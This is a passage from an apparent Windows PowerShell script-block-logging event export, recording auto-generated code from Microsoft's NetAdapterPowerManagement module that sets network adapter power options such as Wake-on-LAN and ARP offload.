$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPowerManagement.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterPowerManagement' -Alias '*'
function Disable-NetAdapterPowerManagement
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterPowerManagementSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${ArpOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${D0PacketCoalescing},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${DeviceSleepOnDisconnect},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NSOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${RsnRekeyOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${SelectiveSuspend},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${WakeOnMagicPacket},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${WakeOnPattern},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ArpOffload')) {
[object]$__cmdletization_value = ${ArpOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ArpOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ArpOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('D0PacketCoalescing')) {
[object]$__cmdletization_value = ${D0PacketCoalescing}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'D0PacketCoalescing'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'D0PacketCoalescing'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DeviceSleepOnDisconnect')) {
[object]$__cmdletization_value = ${DeviceSleepOnDisconnect}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DeviceSleepOnDisconnect'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DeviceSleepOnDisconnect'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NSOffload')) {
[object]$__cmdletization_value = ${NSOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NSOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NSOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RsnRekeyOffload')) {
[object]$__cmdletization_value = ${RsnRekeyOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RsnRekeyOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RsnRekeyOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SelectiveSuspend')) {
[object]$__cmdletization_value = ${SelectiveSuspend}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SelectiveSuspend'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SelectiveSuspend'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('WakeOnMagicPacket')) {
[object]$__cmdletization_value = ${WakeOnMagicPacket}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnMagicPacket'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnMagicPacket'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('WakeOnPattern')) {
[object]$__cmdletization_value = ${WakeOnPattern}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnPattern'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnPattern'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
ScriptBlock ID: f71930e7-8f95-47de-a5f7-d0859716cdc9
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1859 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-b028-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
($PSBoundParameters.ContainsKey('SelectiveSuspend')) {
[object]$__cmdletization_value = ${SelectiveSuspend}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SelectiveSuspend'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SelectiveSuspend'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('WakeOnMagicPacket')) {
[object]$__cmdletization_value = ${WakeOnMagicPacket}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnMagicPacket'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnMagicPacket'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('WakeOnPattern')) {
[object]$__cmdletization_value = ${WakeOnPattern}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnPattern'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnPattern'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPowerManagement.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterPowerManagement' -Alias '*'
function Enable-NetAdapterPowerManagement
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterPowerManagementSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${ArpOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${D0PacketCoalescing},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${DeviceSleepOnDisconnect},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NSOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${RsnRekeyOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${SelectiveSuspend},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${WakeOnMagicPacket},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${WakeOnPattern},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ArpOffload')) {
[object]$__cmdletization_value = ${ArpOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ArpOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ArpOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('D0PacketCoalescing')) {
[object]$__cmdletization_value = ${D0PacketCoalescing}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'D0PacketCoalescing'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'D0PacketCoalescing'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DeviceSleepOnDisconnect')) {
[object]$__cmdletization_value = ${DeviceSleepOnDisconnect}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DeviceSleepOnDisconnect'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DeviceSleepOnDisconnect'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NSOffload')) {
[object]$__cmdletization_value = ${NSOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NSOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NSOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RsnRekeyOffload')) {
[object]$__cmdletization_value = ${RsnRekeyOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RsnRekeyOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RsnRekeyOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SelectiveSuspend')) {
[object]$__cmdletization_value = ${SelectiveSuspend}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SelectiveSuspend'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SelectiveSuspend'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('WakeOnMagicPacket')) {
[object]$__cmdletization_value = ${WakeOnMagicPacket}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnMagicPacket'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
